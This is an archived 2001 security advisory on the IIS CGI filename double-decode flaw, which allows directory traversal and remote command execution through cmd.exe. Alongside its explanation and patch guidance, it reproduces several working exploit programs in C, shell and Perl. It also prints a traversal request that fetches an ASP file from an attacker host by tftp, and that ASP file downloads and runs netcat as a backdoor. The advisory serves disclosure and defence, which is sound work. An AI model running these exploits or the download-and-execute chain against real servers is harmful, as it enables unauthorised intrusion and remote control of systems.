TUCoPS :: Web :: IIS :: iis101~1.htm

IIS CGI processing weakness
Vulnerability

    IIS

Affected

    IIS 3, 4, 5

Description

    Following  is  based  on  a  NSFOCUS  SA2001-02 Security Advisory.
    NSFOCUS  Security  Team  has  found  a  vulnerability  in filename
    processing  of  CGI  program  in  MS  IIS4.0/5.0.  CGI filename is
    decoded  twice  by  error.   Exploitation  of  this vulnerability,
    intruder may run arbitrary system command.

    When  loading  executable  CGI  program,  IIS  will  decode twice.
    First,  CGI  filename  will  be  decoded  to  check  if  it  is an
    executable file (for example,  '.exe' or '.com' suffix  check-up).
    Successfully passing the filename  check-up, IIS will run  another
    decode process.  Normally,  only CGI parameters should  be decoded
    in this process.   But this time  IIS mistakenly decodes  both CGI
    parameters  and  the  decoded  CGI  filename.   In  this  way, CGI
    filename is decoded twice by error.

    With a malformed CGI filename, attacker can get round IIS filename
    security check-ups like  '../' or './'  check-up.  In  some cases,
    attacker can run arbitrary system command.

    For example, a character  '\' will be encoded  to "%5c".  And  the
    corresponding code of these 3 characters is:

        '%' = %25
        '5' = %35
        'c' = %63

    encode this 3 characters for another time, we can get many results
    such as:

        %255c
        %%35c
        %%35%63
        %25%35%63
        ...

    Thereby, '..\' can be represented by '..%255c' and '..%%35c', etc.
    After first decoding, '..%255c'  is turned into '..%5c'.  IIS will
    take  it  as  a  legal  character  string  that  can pass security
    check-up.  But after a second decode process, it will be  reverted
    to '..\'.   Hence, attacker can  use '..\' to  carry out directory
    traversal and run arbitrary program outside of Web directory.

    For  example,  TARGET  has  a  virtual  executable directory (e.g.
    "scripts") that is located on  the same driver of Windows  system.
    Submit request like this:

        http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

    Directory list of C:\ will be revealed.

    Of course, same effect can be achieved by this kind of  processing
    to  '/'  and  '.'.   For  example:  "..%252f", ".%252e/"...  Note:
    Attacker can run  commands of IUSER_machinename  account privilege
    only.

    We can add  Microsoft-PWS to the  list of affected  systems - just
    confirmed on NT4 W/S SP6.

    Filip Maertens posted exploit code:

    /*
     *
     * execiis.c - (c)copyright Filip Maertens
     * BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error
     *
     * DISCLAIMER: This is proof of concept code.  This means, this code
     * may only be used on approved systems in order to test the availability
     * and integrity of machines  during a legal penetration test.  In no way
     * is the  author of  this exploit  responsible for the use and result of
     * this code.
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <unistd.h>
    #include <string.h>


    /* Modify this value to whichever sequence you want.
     *
     * %255c = %%35c = %%35%63 = %25%35%63 = /
     *
     */

    #define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"



    int main(int argc, char *argv[])
    {

     struct sockaddr_in sin;
     char recvbuffer[1], stuff[200];
     int create_socket;

     printf("iisexec.c | Microsoft IIS CGI Filename Decode Error | <filip@securax.be>\n-------------------------------------------------------------------------\n");

     if (argc < 3)
     {
      printf(" -- Usage: iisexec [ip] [command]\n");
      exit(0);
     }


    if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
     printf(" -- Socket created.\n");

     sin.sin_family = AF_INET;
     sin.sin_port = htons(80);
     sin.sin_addr.s_addr = inet_addr(argv[1]);

    if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
     printf(" -- Connection made.\n");
    else
     { printf(" -- No connection.\n"); exit(1); }


     strcat(stuff, "GET ");
     strcat(stuff, SHOWSEQUENCE);
     strcat(stuff, argv[2]);
     strcat(stuff, " HTTP/1.0\n\n");

     memset(recvbuffer, '\0',sizeof(recvbuffer));

     send(create_socket, stuff, sizeof(stuff), 0);
     recv(create_socket, recvbuffer, sizeof (recvbuffer),0);



     if ( ( strstr(recvbuffer,"404") == NULL ) )

         printf(" -- Command output:\n\n");
         while(recv(create_socket, recvbuffer, 1, 0) > 0)
       {
         printf("%c", recvbuffer[0]);
       }

     else
      printf(" -- Wrong command processing. \n");

     close(create_socket);

    }

    Leif Jakob  sent a  short Shell-Script  for testing  of the latest
    IIS-escape vulnerability:

    #!/bin/sh

    # Copyright 2001 by Leif Jakob <bugtraq@jakob.weite-welt.com>
    #
    # do not abuse this code... blah blah :)

    if [ -z "$1" ] ; then
        echo "usage:"
        echo "$0 hostname"
        exit 1
    fi

    host="$1"

    NETCAT=`which netcat`

    if [ -z "$NETCAT" ] ; then
        NETCAT=`which nc`
    fi

    if [ -z "$NETCAT" -o ! -x "$NETCAT" ] ; then
        echo "you need netcat to make this work"
        exit 1
    fi

    echo "using netcat:$NETCAT"

    function makeRequest
    {
        host="$1"
        count=$2
        cmd="$3"
        echo -n 'GET /scripts/'
        while [ $count -gt 0 ] ; do
	    echo -n '..%255c'
	    count=$((count-1))
        done
        echo -n 'winnt/system32/cmd.exe?/c+'
        echo -n "$cmd"
        echo ' HTTP/1.0'
        echo "Host: $host"
        echo ''
        echo 'dummy'
    }

    function testHost
    {
        host="$1"
        count=10 # you can't overdo it
        cmd='dir+c:\'
        makeRequest "$host" "$count" "$cmd" | netcat -w 4 $host 80
    }

    testHost "$host"

    You can elevating privileges by using the .asp file to upload  and
    execute the nc file and to get the system permissions.

    Another code:

    /*  IISEX by HuXfLuX <huxflux2001@hotmail.com>. IIS CGI File Decode Bug exploit. Written 16-05-2001.
        Compiles on Linux, works with IIS versions 3, 4 and 5. Microsoft's products were always
        famous for their backward compatibility!

        You can change the SHOWSEQUENCE value to some other strings that also work.
        More info: http://www.nsfocus.com

        Thanx to Filip Maertens <filip@securax.be>
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdarg.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <arpa/inet.h>

    #define SHOWSEQUENCE "/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+"

    int resolv(char *hostname,struct in_addr *addr);

    int main(int argc, char *argv[])
    {

            struct sockaddr_in sin;
            struct in_addr victim;
            char recvbuffer[1], stuff[200]="";
            int create_socket;

            printf("IISEX by HuxFlux <huxflux2001@hotmail.com>\nThis exploits the IIS CGI Filename Decode Error.\nWorks with IIS versions 3, 4 and 5!.\n");

            if (argc < 3)
            {
                    printf("[?] Usage: %s [ip] [command]\n", argv[0]);
                    exit(0);
            }

            if (!resolv(argv[1],&victim))
            {
                    printf("[x] Error resolving host.\n");
                    exit(-1);
            }
            printf("\n[S] Exploit procedure beginning.\n");

            if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 ) printf("[*] Socket created.\n");

            bzero(&sin,sizeof(sin));
            memcpy(&sin.sin_addr,&victim,sizeof(struct in_addr));
            sin.sin_family = AF_INET;
            sin.sin_port = htons(80);
            //sin.sin_addr.s_addr = inet_addr(argv[1]);


            if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0) printf("[*] Connection made.\n");
            else {
                    printf("[x] No connection.\n");
                    exit(1);
            }

            strcat(stuff, "GET ");
            strcat(stuff, SHOWSEQUENCE);
            strcat(stuff, argv[2]);
            strcat(stuff, " HTTP/1.0\r\n\r\n");
            printf("[*] Sending: %s", stuff);

            memset(recvbuffer, '\0',sizeof(recvbuffer));

            send(create_socket, stuff, sizeof(stuff), 0);

            if ( strstr(recvbuffer,"404") == NULL ) {
                    printf("[*] Command output:\n\n");

                    while(recv(create_socket, recvbuffer, 1, 0) > 0)
                    {
                            printf("%c", recvbuffer[0]);
                    }
                    printf("\n\n");
            }
            else printf("[x] Wrong command processing. \n");
            printf("[E] Finished.\n");

            close(create_socket);
    }

    int resolv(char *hostname,struct in_addr *addr)
    {
            struct hostent *res;

            if (inet_aton(hostname,addr)) return(1);

            res = gethostbyname(hostname);
            if (res == NULL) return(0);

            memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
            return(1);
    }

    Cyrus The  Great included  a perl  exploit for  IIS4/5 CGI  decode
    hole.   First detects  vulnerable servers  and if  detectable, You
    just enter the commands and it executes them for you remotely, you
    can also creat new files remotely,  and use them for ftp or  other
    commands.

    #!/usr/bin/perl
    # Written by Cyrus The Gerat , CyrusArmy@Bigfoot.com, May 15th 2001
    # This perl script lets you to test the vulnerable servers to IIS4/5 CGI decode hole,
    # Also you can exploit the hole and execute your commands remotely!
    # Vulnerability found by NSfocus security team,
    # Tested for compatibility on UNIX/WINDOWS (activestate perl)
    # Works well on windows and unix platforms,


    $ARGC=@ARGV;
    if ($ARGC <3) {
     print "\n\nRemote IIS4/5 decode hole tester! By CyrusTheGreat ,CyrusArmy\@Bigfoot.com\n";
     print "\n Usage:\n\n $0 <victim host> <victim port> <command line to execute>\n\n";
	    print "        Victim Host: Address of IIS4/5 server vulnerable to decode hole! \n";
        print "        Victim port: HTTP/HTTPS port 80 or 443\n";
	    print "        Command to Execute: for example \"echo Just hacked! > hacked.txt\"  \n\n";
	    exit;
    }
    use Socket;

    my ($host,$port,$target,$notvulnerable,$notfound,$notcopied,$accessdenied);
    $host=$ARGV[0];
    $port=$ARGV[1];
    $target=inet_aton($host);
    $notvulnerable=1;
    $notfound=1;
    $accessdenied=0;

    print "\nRemote IIS4/5 decode hole tester! By CyrusTheGreat ,CyrusArmy\@Bigfoot.com\n";
    print "Connecting to server $host port $port..., \n\n";
    @results=sendraw("GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ver HTTP/1.0\r\n\r\n");

    for ($i=0; $i <=7 ;$i++ ) {
    print $results[$i];
    }


    foreach $line (@results){
     if ($line =~ /\[Version/) {
     $notvulnerable=0;
     print "\nWow! system is vulnerable.\n";
     print $line;
     }
     }

    if ($notvulnerable) {
     print "\nOops! System is not vulnerable. \n";
     exit(1);
    }

    # you can exchange Wow! and Oops! as you prefer! ;-)

    print "\nChecking for command interpreter...\n";
    @results=sendraw("GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir%20cyrus%2eexe HTTP/1.0\r\n\r\n");
    #print @results;

    foreach $line (@results){
     if ($line =~ /cyrus.exe/) {$notfound=0;}
    }

    if ($notfound) {
     print "Command interpreter not found, Trying to copy cmd.exe \n";
     @results=sendraw("GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+%2e%2e%5c%2e%2e%5cwinnt%5csystem32%5ccmd%2eexe+cyrus%2eexe HTTP/1.0\r\n\r\n");
    #print @results;
     }

     foreach $line (@results){
      if (($line =~ /denied/ )) {$accessdenied=1;}
     }

     if ($accessdenied) {
     print"Cannot copy command interpreter, Try manually! \n\n";
     exit(2);
     } else {
       print "Command interpreter OK \n";
      }

    $command=@ARGV[2];
    print "Now executing your command: $command \n\n";
    #$command=~s/ /\%20/g;
    $command =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
    #print $command;
    my @results=sendraw("GET /scripts/cyrus.exe?/c+$command HTTP/1.0\r\n\r\n");
    print @results;

        print STDOUT "\n\nMore commands? , or EOF to end:\n";
        while ($command = <STDIN>) {
                print "You said: $command \n";
	        chop $command;
		    $command =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
		    my @results=sendraw("GET /scripts/cyrus.exe?/c+$command HTTP/1.0\r\n\r\n");
		    print @results;
                print "\n\nTell me more, or EOF (^D/^Z) to end:\n";
        }
        print "\nThat's all! Another IIS hole just similified by cyrus!\n";

    sub sendraw {
            my ($pstr)=@_;

    socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0)
    ||
                    die("Socket problems\n");
            if(connect(S,pack "SnA4x8",2,$port,$target)){
                    my @in;
                    select(S);      $|=1;   print $pstr;
                    while(<S>){ push @in, $_;}
                    select(STDOUT); close(S); return @in;
            } else {
		     print "Cannot connect to $host port $port\n";
		     exit(3); }
    }

    This is what You can do:

        http://192.168.0.1/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp.exe+-i+192.168.0.2+GET+f.asp+c:\inetpub\scripts\f.asp

    Then run

        http://192.168.0.1/f.asp

    Following is a copy of the f.asp:

    <%
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set drv = fs.Drives
    dmax = ""
    dmac = 0
    For each d in drv
    If d.Driveletter <> "A" And d.IsReady Then
    If d.AvailableSpace > dmac then
    dmac = d.AvailableSpace
    dmab = d.DriveType
    dmaa = d.TotalSize
    dmad = d.SerialNumber
    dmax = d.DriveLetter
    End If
    End If
    Next
    filename = server.mappath("dl.bat")
    Set tf = fs.CreateTextFile(filename, True)
    tf.WriteLine("@echo off")
    tf.WriteLine("cd \Inetpub\scripts")
    tf.WriteLine("startDL:")
    tf.WriteLine("tftp.exe -i 192.168.1.33 get ncx99.exe
    c:\inetpub\scripts\nc0.exe")
    tf.WriteLine("if not exist ncx99.exe goto startDL")
    tf.WriteLine("start /w nc0.exe")
    tf.WriteLine("attrib TFTP* -r")
    tf.WriteLine("attrib nc0.exe -r")
    tf.WriteLine("del TFTP*")
    tf.WriteLine("exit")
    tf.Close
    dim command
    dim wshShell
    command = server.mappath("dl.bat") & " " & dmax
    On Error Resume Next
    Set wshShell = CreateObject("WScript.Shell")
    wshShell.Run (command)
    If Err Then
    Set objFSO = Server.CreateObject("scripting.filesystemobject")
    pathname = server.mappath("dl.bat")
    objFSO.DeleteFile pathname
    Set objFSO = Nothing
    Else
    Response.Write "|" & dmax & "*" & dmab & "*" & dmac & "*" & dmaa & "*" &
    dmad
    End If
    %>

    Here we  want to  explain why  exploitation of  this vulnerability
    fails in  some cases.   The vulnerability  exists in  both IIS 4.0
    and IIS 5.0, but exploitation of it would fail for some factors.

    1. Why NT 4 SP6(SP6a) is not affected?
       That's because SP6(a) will perform a check for the existence of
       requested file after the first decoding. Attack fails for files
       like    C:\interpub\scripts\..%5c..%5c..%5cwinnt\system\cmd.exe
       do not actually exist.

       But this  check of  SP6 seems  to be  just a  temporary fix  to
       address some certain vulnerability.  And it was removed in some
       following hotfixes.  Thus, if you have only applied SP6(a)  for
       your NT 4, you would not be affected by this vulnerability.

    2. Will  systems  with  patch  provided  by MS00-078(MS00-057)  be
       affected?
       MS00-078  and  MS00-057  provide  the  same  patch,  which will
       perform a check of filename  for ".\" and "./" after  the first
       decoding.  In case that such characters exist, request would be
       denied.     Thus,   it   only   casually   addresses    UNICODE
       vulnerability.   By  covering  "./"  or  ".\"  after  the first
       decoding,  an  attacker  can  still  successfully  make  use of
       "Decoding error" vulnerability.

       For example:

        ..%255c..%255cwinnt/system32/cmd.exe

       will be converted into

        ..%5c..%5cwinnt/system32/cmd.exe

       after the  first decoding.   Thus the  request can  bypass  the
       security check.

       But

        ..%255c../winnt/system32/cmd.exe

       will be converted into

        ..%5c../winnt/system32/cmd.exe

       after the  first decoding.   Thus the  attack fails  since  the
       decoded name contains  './'.

    3. Will systems with patch provided by MS00-086 be affected?
       The  patch  provided  by  MS00-086  successfully  addressed the
       UNICODE vulnerability.

       But Microsoft has  updated the patches  for some times.   First
       versions  will  provide  filename  check  for  some   dangerous
       characters like '%' or '"' after the first decoding.  Thus, you
       will not be affected  by "Decoding error" vulnerability  if you
       apply these versions.  But Microsoft remove the check again  in
       the final  version of  the patch,  apply which  will make  your
       system affected.

Solution

    Workaround:
    1. If  executable  CGI  is  not  integrant, delete the  executable
       virtual directory like /scripts etc.
    2. If executable  virtual directory is  needed, we suggest  you to
       assign a separate local driver for it.
    3. Move all command-line utilities to another directory that could
       be used  by an  attacker, and  forbid GUEST  group access those
       utilities.

    The bulletin is live at:

        http://www.microsoft.com/technet/security/bulletin/MS01-026.asp

    Patches are available at:

        Microsoft IIS 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787
        Microsoft IIS 5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764

    If  you  had  MS01-026  applied  prior  to  SP2  you should not be
    vulnerable to the sadminD/IIS Worm (unless you have  configuration
    problems). If  you didn't  apply MS01-026,  but have  applied SP2,
    you are  still vulnerable  to some  IIS exploits  and need  to get
    additional patches.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH